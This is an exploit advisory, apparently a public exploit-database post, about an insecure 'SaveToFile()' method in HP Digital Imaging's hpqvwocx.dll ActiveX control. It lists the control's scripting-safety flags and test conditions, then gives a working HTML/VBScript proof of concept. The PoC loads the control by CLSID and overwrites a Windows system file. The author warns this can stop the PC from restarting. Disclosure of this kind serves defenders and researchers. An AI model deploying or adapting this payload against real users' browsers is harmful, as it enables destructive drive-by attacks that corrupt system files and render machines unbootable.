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<b>HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) "SaveToFile()" Insecure Method</b>
url: http://www.hp.com/
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.
<b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>
This control is marked as:
<b>RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller, data
IPersist Safe: Safe for untrusted: caller, data</b>
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
The browser seems to freeze for a few seconds, anyway if you try to close it
before the exploit is ended, it will resutl in a DoS and the file will be
overwritten though.
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<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='test'></object>
<script language='vbscript'>
test.SaveToFile 1, "c:\windows\system_.ini"
MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"HP Digital Imaging")
</script>
</span>
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